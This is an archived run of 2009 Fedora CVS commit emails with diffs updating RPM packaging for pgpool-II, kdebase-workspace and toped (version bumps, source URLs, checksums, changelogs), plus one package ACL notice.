Date: Sun,  4 Oct 2009 10:39:39 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-10 .cvsignore, 1.12,
	1.13 postgresql-pgpool-II.spec, 1.27, 1.28 sources, 1.12, 1.13
Message-ID: <20091004103939.B98CA11C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3186/F-10

Modified Files:
	.cvsignore postgresql-pgpool-II.spec sources 
Log Message:
- Update to 2.2.5, for various fixes described at
  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-10/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	2 Oct 2009 23:20:55 -0000	1.12
+++ .cvsignore	4 Oct 2009 10:39:39 -0000	1.13
@@ -1 +1 @@
-pgpool-II-2.2.4.tar.gz
+pgpool-II-2.2.5.tar.gz


Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-10/postgresql-pgpool-II.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- postgresql-pgpool-II.spec	2 Oct 2009 23:18:07 -0000	1.27
+++ postgresql-pgpool-II.spec	4 Oct 2009 10:39:39 -0000	1.28
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.4
+Version:	2.2.5
 Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2362/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2423/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -106,6 +106,10 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sun Oct 4 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.5-1
+- Update to 2.2.5, for various fixes described at 
+  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html
+
 * Sat Oct 3  2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.4-1
 - Update to 2.2.4
 - Re-apply a fix for #442372


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-10/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Oct 2009 23:20:55 -0000	1.12
+++ sources	4 Oct 2009 10:39:39 -0000	1.13
@@ -1 +1 @@
-2c9edd0512c5dc1dabab474b563a7a6c  pgpool-II-2.2.4.tar.gz
+410fc3e226842eda25e5cd18e9c3e703  pgpool-II-2.2.5.tar.gz



From devrim at fedoraproject.org  Sun Oct  4 10:39:40 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun,  4 Oct 2009 10:39:40 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-12 .cvsignore, 1.12,
	1.13 postgresql-pgpool-II.spec, 1.35, 1.36 sources, 1.12, 1.13
Message-ID: <20091004103940.78EF011C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3186/F-12

Modified Files:
	.cvsignore postgresql-pgpool-II.spec sources 
Log Message:
- Update to 2.2.5, for various fixes described at
  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	2 Oct 2009 23:23:24 -0000	1.12
+++ .cvsignore	4 Oct 2009 10:39:40 -0000	1.13
@@ -1 +1 @@
-pgpool-II-2.2.4.tar.gz
+pgpool-II-2.2.5.tar.gz


Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-12/postgresql-pgpool-II.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- postgresql-pgpool-II.spec	2 Oct 2009 23:23:24 -0000	1.35
+++ postgresql-pgpool-II.spec	4 Oct 2009 10:39:40 -0000	1.36
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.4
+Version:	2.2.5
 Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2362/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2423/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -106,6 +106,10 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sun Oct 4 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.5-1
+- Update to 2.2.5, for various fixes described at 
+  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html
+
 * Sat Oct 3  2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.4-1
 - Update to 2.2.4
 - Re-apply a fix for #442372


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Oct 2009 23:23:25 -0000	1.12
+++ sources	4 Oct 2009 10:39:40 -0000	1.13
@@ -1 +1 @@
-2c9edd0512c5dc1dabab474b563a7a6c  pgpool-II-2.2.4.tar.gz
+410fc3e226842eda25e5cd18e9c3e703  pgpool-II-2.2.5.tar.gz



From devrim at fedoraproject.org  Sun Oct  4 10:39:40 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun,  4 Oct 2009 10:39:40 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-11 .cvsignore, 1.12,
	1.13 postgresql-pgpool-II.spec, 1.34, 1.35 sources, 1.12, 1.13
Message-ID: <20091004103940.322D811C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3186/F-11

Modified Files:
	.cvsignore postgresql-pgpool-II.spec sources 
Log Message:
- Update to 2.2.5, for various fixes described at
  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-11/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	2 Oct 2009 23:20:55 -0000	1.12
+++ .cvsignore	4 Oct 2009 10:39:39 -0000	1.13
@@ -1 +1 @@
-pgpool-II-2.2.4.tar.gz
+pgpool-II-2.2.5.tar.gz


Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-11/postgresql-pgpool-II.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- postgresql-pgpool-II.spec	2 Oct 2009 23:18:08 -0000	1.34
+++ postgresql-pgpool-II.spec	4 Oct 2009 10:39:39 -0000	1.35
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.4
+Version:	2.2.5
 Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2362/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2423/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -106,6 +106,10 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sun Oct 4 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.5-1
+- Update to 2.2.5, for various fixes described at 
+  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html
+
 * Sat Oct 3  2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.4-1
 - Update to 2.2.4
 - Re-apply a fix for #442372


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-11/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Oct 2009 23:20:55 -0000	1.12
+++ sources	4 Oct 2009 10:39:39 -0000	1.13
@@ -1 +1 @@
-2c9edd0512c5dc1dabab474b563a7a6c  pgpool-II-2.2.4.tar.gz
+410fc3e226842eda25e5cd18e9c3e703  pgpool-II-2.2.5.tar.gz



From devrim at fedoraproject.org  Sun Oct  4 10:39:41 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun,  4 Oct 2009 10:39:41 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/devel .cvsignore, 1.12,
	1.13 postgresql-pgpool-II.spec, 1.35, 1.36 sources, 1.12, 1.13
Message-ID: <20091004103941.1B18311C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3186/devel

Modified Files:
	.cvsignore postgresql-pgpool-II.spec sources 
Log Message:
- Update to 2.2.5, for various fixes described at
  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	2 Oct 2009 23:20:55 -0000	1.12
+++ .cvsignore	4 Oct 2009 10:39:40 -0000	1.13
@@ -1 +1 @@
-pgpool-II-2.2.4.tar.gz
+pgpool-II-2.2.5.tar.gz


Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/devel/postgresql-pgpool-II.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- postgresql-pgpool-II.spec	2 Oct 2009 23:18:09 -0000	1.35
+++ postgresql-pgpool-II.spec	4 Oct 2009 10:39:40 -0000	1.36
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.4
+Version:	2.2.5
 Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2362/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2423/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -106,6 +106,10 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sun Oct 4 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.5-1
+- Update to 2.2.5, for various fixes described at
+  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html
+
 * Sat Oct 3  2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.4-1
 - Update to 2.2.4
 - Re-apply a fix for #442372


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Oct 2009 23:20:55 -0000	1.12
+++ sources	4 Oct 2009 10:39:40 -0000	1.13
@@ -1 +1 @@
-2c9edd0512c5dc1dabab474b563a7a6c  pgpool-II-2.2.4.tar.gz
+410fc3e226842eda25e5cd18e9c3e703  pgpool-II-2.2.5.tar.gz



From devrim at fedoraproject.org  Sun Oct  4 10:42:30 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun,  4 Oct 2009 10:42:30 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/EL-4 pool_process_query-2.0.1.patch, 1.1, 
	NONE
Message-ID: <20091004104230.8132411C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4477/EL-4

Removed Files:
	pool_process_query-2.0.1.patch 
Log Message:
Remove obsoleted patches.



--- pool_process_query-2.0.1.patch DELETED ---



From devrim at fedoraproject.org  Sun Oct  4 10:42:30 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun,  4 Oct 2009 10:42:30 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/EL-5 pool_process_query-2.0.1.patch, 1.1, 
	NONE
Message-ID: <20091004104230.B80C711C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4477/EL-5

Removed Files:
	pool_process_query-2.0.1.patch 
Log Message:
Remove obsoleted patches.



--- pool_process_query-2.0.1.patch DELETED ---



From than at fedoraproject.org  Sun Oct  4 10:44:59 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sun,  4 Oct 2009 10:44:59 +0000 (UTC)
Subject: rpms/kdebase-workspace/devel .cvsignore, 1.38,
	1.39 kdebase-workspace.spec, 1.300, 1.301 sources, 1.47,
	1.48 kdebase-workspace-4.3.2-plasmaCrash.patch, 1.1, NONE
Message-ID: <20091004104459.86D1A11C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdebase-workspace/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5369

Modified Files:
	.cvsignore kdebase-workspace.spec sources 
Removed Files:
	kdebase-workspace-4.3.2-plasmaCrash.patch 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/devel/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	1 Sep 2009 13:05:19 -0000	1.38
+++ .cvsignore	4 Oct 2009 10:44:56 -0000	1.39
@@ -1 +1,2 @@
 kdebase-workspace-4.3.1.tar.bz2
+kdebase-workspace-4.3.2.tar.bz2


Index: kdebase-workspace.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/devel/kdebase-workspace.spec,v
retrieving revision 1.300
retrieving revision 1.301
diff -u -p -r1.300 -r1.301
--- kdebase-workspace.spec	27 Sep 2009 23:25:07 -0000	1.300
+++ kdebase-workspace.spec	4 Oct 2009 10:44:58 -0000	1.301
@@ -6,9 +6,9 @@
 
 Summary: K Desktop Environment - Workspace
 Name: kdebase-workspace
-Version: 4.3.1
+Version: 4.3.2
 
-Release: 9%{?dist}
+Release: 1%{?dist}
 Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdebase-workspace-%{version}.tar.bz2
 License: GPLv2
 Group: User Interface/Desktops
@@ -38,7 +38,6 @@ Patch17: kdebase-workspace-4.3.1-classic
 
 # upstream patches:
 # 4.3 branch
-Patch100: kdebase-workspace-4.3.2-plasmaCrash.patch
 
 # trunk
 
@@ -270,7 +269,6 @@ Requires: akonadi
 %patch17 -p1 -b .classicmenu-logout
 
 # upstream patches
-%patch100 -p5 -b .plasmaCrash
 
 
 %build
@@ -605,6 +603,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sun Sep 27 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-9
 - fix classicmenu-logout ("Leave...") patch
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/devel/sources,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- sources	28 Aug 2009 20:16:16 -0000	1.47
+++ sources	4 Oct 2009 10:44:58 -0000	1.48
@@ -1 +1 @@
-cf512fce3c8734078a89119334fd5a8a  kdebase-workspace-4.3.1.tar.bz2
+2966168f421b3093a119a7c7089b87fb  kdebase-workspace-4.3.2.tar.bz2


--- kdebase-workspace-4.3.2-plasmaCrash.patch DELETED ---



From pkgdb at fedoraproject.org  Sun Oct  4 10:50:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 10:50:07 +0000
Subject: [pkgdb] gajim had acl change status
Message-ID: <20091004105007.6892E10F89C@bastion2.fedora.phx.redhat.com>

rishi has set the watchcommits acl on gajim (Fedora devel) to Approved for mcepl

To make changes to this package see:
  /pkgdb/packages/name/gajim



From chitlesh at fedoraproject.org  Sun Oct  4 11:12:38 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sun,  4 Oct 2009 11:12:38 +0000 (UTC)
Subject: rpms/toped/devel import.log,1.7,1.8 toped.spec,1.19,1.20
Message-ID: <20091004111238.CC63011C00E5@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/toped/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12414/devel

Modified Files:
	import.log toped.spec 
Log Message:
0.9.5 critical bug fix for loading gigabytes of GDSII files


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/toped/devel/import.log,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- import.log	3 Oct 2009 21:48:46 -0000	1.7
+++ import.log	4 Oct 2009 11:12:38 -0000	1.8
@@ -5,3 +5,4 @@ toped-0_9_2-4_fc11:HEAD:toped-0.9.2-4.fc
 toped-0_9_4-1_fc11:HEAD:toped-0.9.4-1.fc11.src.rpm:1249374653
 toped-0_9_4-1_fc11:HEAD:toped-0.9.4-1.fc11.src.rpm:1249378277
 toped-0_9_5-0_1_fc11:HEAD:toped-0.9.5-0.1.fc11.src.rpm:1254606402
+toped-0_9_5-1_fc11:HEAD:toped-0.9.5-1.fc11.src.rpm:1254654727


Index: toped.spec
===================================================================
RCS file: /cvs/pkgs/rpms/toped/devel/toped.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- toped.spec	3 Oct 2009 21:48:46 -0000	1.19
+++ toped.spec	4 Oct 2009 11:12:38 -0000	1.20
@@ -1,6 +1,6 @@
 Name:           toped
 Version:        0.9.5
-Release:        0.1%{?dist} 
+Release:        1%{?dist} 
 #RELEASE_0.95_CAND
 Summary:        VLSI IC Layout Editor
 
@@ -106,6 +106,9 @@ touch --no-create %{_datadir}/icons/hico
 
 
 %changelog
+* Sun Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-1
+- 0.9.5 stable release
+
 * Sat Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-0.1
 - 0.9.5 test release
 



From chitlesh at fedoraproject.org  Sun Oct  4 11:25:07 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sun,  4 Oct 2009 11:25:07 +0000 (UTC)
Subject: rpms/toped/F-10 .cvsignore, 1.7, 1.8 import.log, 1.4, 1.5 sources,
	1.7, 1.8 toped.spec, 1.15, 1.16
Message-ID: <20091004112507.233D411C00E5@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/toped/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16575/F-10

Modified Files:
	.cvsignore import.log sources toped.spec 
Log Message:
0.9.5 critical bug fix for loading gigabytes of GDSII files


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-10/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	4 Aug 2009 08:26:22 -0000	1.7
+++ .cvsignore	4 Oct 2009 11:25:05 -0000	1.8
@@ -1 +1 @@
-toped-0.9.4.tar.bz2
+toped-0.9.5.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-10/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	4 Aug 2009 08:26:22 -0000	1.4
+++ import.log	4 Oct 2009 11:25:05 -0000	1.5
@@ -2,3 +2,4 @@ toped-0_9_0-2_fc9:HEAD:toped-0.9.0-2.fc9
 toped-0_9_2-1_fc9:F-10:toped-0.9.2-1.fc9.src.rpm:1226336488
 toped-0_9_2-2_fc9:F-10:toped-0.9.2-2.fc9.src.rpm:1226339105
 toped-0_9_4-1_fc11:F-10:toped-0.9.4-1.fc11.src.rpm:1249374252
+toped-0_9_5-1_fc11:F-10:toped-0.9.5-1.fc11.src.rpm:1254655348


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	4 Aug 2009 08:26:22 -0000	1.7
+++ sources	4 Oct 2009 11:25:06 -0000	1.8
@@ -1 +1 @@
-58912db4c50874dc794f59e349c99243  toped-0.9.4.tar.bz2
+8c0e045d88bd4fc55b2cc068b2835dec  toped-0.9.5.tar.bz2


Index: toped.spec
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-10/toped.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- toped.spec	4 Aug 2009 10:04:40 -0000	1.15
+++ toped.spec	4 Oct 2009 11:25:06 -0000	1.16
@@ -1,7 +1,7 @@
 Name:           toped
-Version:        0.9.4
+Version:        0.9.5
 Release:        1%{?dist} 
-#RELEASE_0.94_CAND
+#RELEASE_0.95_CAND
 Summary:        VLSI IC Layout Editor
 
 License:        GPLv2
@@ -105,7 +105,13 @@ touch --no-create %{_datadir}/icons/hico
 %{_datadir}/icons/hicolor/*x*/apps/toped.png
 
 
-%Changelog
+%changelog
+* Sun Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-1
+- 0.9.5 stable release
+
+* Sat Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-0.1
+- 0.9.5 test release
+
 * Tue Aug 04 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.4-1
 - 0.9.4 final release
 



From chitlesh at fedoraproject.org  Sun Oct  4 11:39:26 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sun,  4 Oct 2009 11:39:26 +0000 (UTC)
Subject: rpms/toped/F-11 .cvsignore, 1.8, 1.9 import.log, 1.5, 1.6 sources,
	1.8, 1.9 toped.spec, 1.17, 1.18
Message-ID: <20091004113926.F389211C00E5@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/toped/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21220/F-11

Modified Files:
	.cvsignore import.log sources toped.spec 
Log Message:
0.9.5 critical bug fix for loading gigabytes of GDSII files


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 Aug 2009 08:28:34 -0000	1.8
+++ .cvsignore	4 Oct 2009 11:39:26 -0000	1.9
@@ -1 +1 @@
-toped-0.9.4.tar.bz2
+toped-0.9.5.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-11/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	4 Aug 2009 08:28:34 -0000	1.5
+++ import.log	4 Oct 2009 11:39:26 -0000	1.6
@@ -3,3 +3,4 @@ toped-0_9_2-1_fc9:HEAD:toped-0.9.2-1.fc9
 toped-0_9_2-2_fc9:HEAD:toped-0.9.2-2.fc9.src.rpm:1226339141
 toped-0_9_2-4_fc11:HEAD:toped-0.9.2-4.fc11.src.rpm:1238345726
 toped-0_9_4-1_fc11:F-11:toped-0.9.4-1.fc11.src.rpm:1249374408
+toped-0_9_5-1_fc11:F-11:toped-0.9.5-1.fc11.src.rpm:1254655837


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Aug 2009 08:28:34 -0000	1.8
+++ sources	4 Oct 2009 11:39:26 -0000	1.9
@@ -1 +1 @@
-58912db4c50874dc794f59e349c99243  toped-0.9.4.tar.bz2
+8c0e045d88bd4fc55b2cc068b2835dec  toped-0.9.5.tar.bz2


Index: toped.spec
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-11/toped.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- toped.spec	4 Aug 2009 10:04:40 -0000	1.17
+++ toped.spec	4 Oct 2009 11:39:26 -0000	1.18
@@ -1,7 +1,7 @@
 Name:           toped
-Version:        0.9.4
+Version:        0.9.5
 Release:        1%{?dist} 
-#RELEASE_0.94_CAND
+#RELEASE_0.95_CAND
 Summary:        VLSI IC Layout Editor
 
 License:        GPLv2
@@ -105,7 +105,13 @@ touch --no-create %{_datadir}/icons/hico
 %{_datadir}/icons/hicolor/*x*/apps/toped.png
 
 
-%Changelog
+%changelog
+* Sun Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-1
+- 0.9.5 stable release
+
+* Sat Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-0.1
+- 0.9.5 test release
+
 * Tue Aug 04 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.4-1
 - 0.9.4 final release
 



From chitlesh at fedoraproject.org  Sun Oct  4 11:47:26 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sun,  4 Oct 2009 11:47:26 +0000 (UTC)
Subject: rpms/toped/F-12 .cvsignore, 1.8, 1.9 import.log, 1.6, 1.7 sources,
	1.8, 1.9 toped.spec, 1.18, 1.19
Message-ID: <20091004114726.C656F11C00E5@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/toped/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23240/F-12

Modified Files:
	.cvsignore import.log sources toped.spec 
Log Message:
0.9.5 critical bug fix for loading gigabytes of GDSII files


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 Aug 2009 08:33:01 -0000	1.8
+++ .cvsignore	4 Oct 2009 11:47:26 -0000	1.9
@@ -1 +1 @@
-toped-0.9.4.tar.bz2
+toped-0.9.5.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-12/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	4 Aug 2009 09:32:59 -0000	1.6
+++ import.log	4 Oct 2009 11:47:26 -0000	1.7
@@ -4,3 +4,4 @@ toped-0_9_2-2_fc9:HEAD:toped-0.9.2-2.fc9
 toped-0_9_2-4_fc11:HEAD:toped-0.9.2-4.fc11.src.rpm:1238345726
 toped-0_9_4-1_fc11:HEAD:toped-0.9.4-1.fc11.src.rpm:1249374653
 toped-0_9_4-1_fc11:HEAD:toped-0.9.4-1.fc11.src.rpm:1249378277
+toped-0_9_5-1_fc11:F-12:toped-0.9.5-1.fc11.src.rpm:1254656568


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Aug 2009 08:33:01 -0000	1.8
+++ sources	4 Oct 2009 11:47:26 -0000	1.9
@@ -1 +1 @@
-58912db4c50874dc794f59e349c99243  toped-0.9.4.tar.bz2
+8c0e045d88bd4fc55b2cc068b2835dec  toped-0.9.5.tar.bz2


Index: toped.spec
===================================================================
RCS file: /cvs/pkgs/rpms/toped/F-12/toped.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- toped.spec	4 Aug 2009 09:32:59 -0000	1.18
+++ toped.spec	4 Oct 2009 11:47:26 -0000	1.19
@@ -1,7 +1,7 @@
 Name:           toped
-Version:        0.9.4
+Version:        0.9.5
 Release:        1%{?dist} 
-#RELEASE_0.94_CAND
+#RELEASE_0.95_CAND
 Summary:        VLSI IC Layout Editor
 
 License:        GPLv2
@@ -105,7 +105,13 @@ touch --no-create %{_datadir}/icons/hico
 %{_datadir}/icons/hicolor/*x*/apps/toped.png
 
 
-%Changelog
+%changelog
+* Sun Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-1
+- 0.9.5 stable release
+
+* Sat Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-0.1
+- 0.9.5 test release
+
 * Tue Aug 04 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.4-1
 - 0.9.4 final release
 



From eseyman at fedoraproject.org  Sun Oct  4 11:52:31 2009
